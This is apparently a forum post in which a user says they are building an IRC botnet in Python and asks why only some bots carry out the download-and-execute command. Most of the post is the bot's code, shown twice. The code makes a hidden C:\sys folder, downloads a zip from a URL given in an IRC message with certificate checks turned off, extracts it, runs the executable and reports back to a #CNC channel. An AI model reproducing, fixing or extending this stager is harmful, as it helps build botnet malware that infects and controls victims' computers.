Dec 13, 2017 02:28 PM
(This post was last modified: Dec 13, 2017 02:51 PM by whysoserious1948.)
i make botnet over irc whit python but when i make download and excute some bots get the command and some not
why is that
i use urlibe and re
the code look like this
data = client.recv(4096)
# 4096 bytes did i need to chanage it ?
Https = re.findall("https://[0-9A-Za-z]*.*", data)
Https = "".join(Https)
Http = re.findall("http://[0-9A-Za-z]*.*", data)
Http = "".join(Http)
File_Name = re.findall("Name: [0-9A-Za-z]*", data)
File_Name = "".join(File_Name)
try:
context = ssl._create_unverified_context()
File_Name = File_Name.split()
os.popen("mkdir c:\sys")
os.popen("attrib +h c:\sys")
try:
urllib.urlretrieve(Http, "C:\sys\\" + File_Name[1] + ".zip", context=context)
except:
pass
try:
urllib.urlretrieve(Https, "C:\sys\\" + File_Name[1] + ".zip", context=context)
except:
pass
zip_ref = zipfile.ZipFile("C:\sys\\" + File_Name[1] + ".zip", 'r')
zip_ref.extractall("C:\sys\\")
zip_ref.close()
print "yes"
os.startfile("C:\Sys\\"+File_Name[1] + ".exe")
time.sleep(25)
msg = "The Files Download. And Runing"
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
except:
time.sleep(25)
msg = "Something is Wrong Bro try again"
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
mybey is the webhosting http he get to much request to downlaod on the same time ?
why is that
i use urlibe and re
the code look like this
data = client.recv(4096)
# 4096 bytes did i need to chanage it ?
Https = re.findall("https://[0-9A-Za-z]*.*", data)
Https = "".join(Https)
Http = re.findall("http://[0-9A-Za-z]*.*", data)
Http = "".join(Http)
File_Name = re.findall("Name: [0-9A-Za-z]*", data)
File_Name = "".join(File_Name)
try:
context = ssl._create_unverified_context()
File_Name = File_Name.split()
os.popen("mkdir c:\sys")
os.popen("attrib +h c:\sys")
try:
urllib.urlretrieve(Http, "C:\sys\\" + File_Name[1] + ".zip", context=context)
except:
pass
try:
urllib.urlretrieve(Https, "C:\sys\\" + File_Name[1] + ".zip", context=context)
except:
pass
zip_ref = zipfile.ZipFile("C:\sys\\" + File_Name[1] + ".zip", 'r')
zip_ref.extractall("C:\sys\\")
zip_ref.close()
print "yes"
os.startfile("C:\Sys\\"+File_Name[1] + ".exe")
time.sleep(25)
msg = "The Files Download. And Runing"
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
except:
time.sleep(25)
msg = "Something is Wrong Bro try again"
client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")
mybey is the webhosting http he get to much request to downlaod on the same time ?
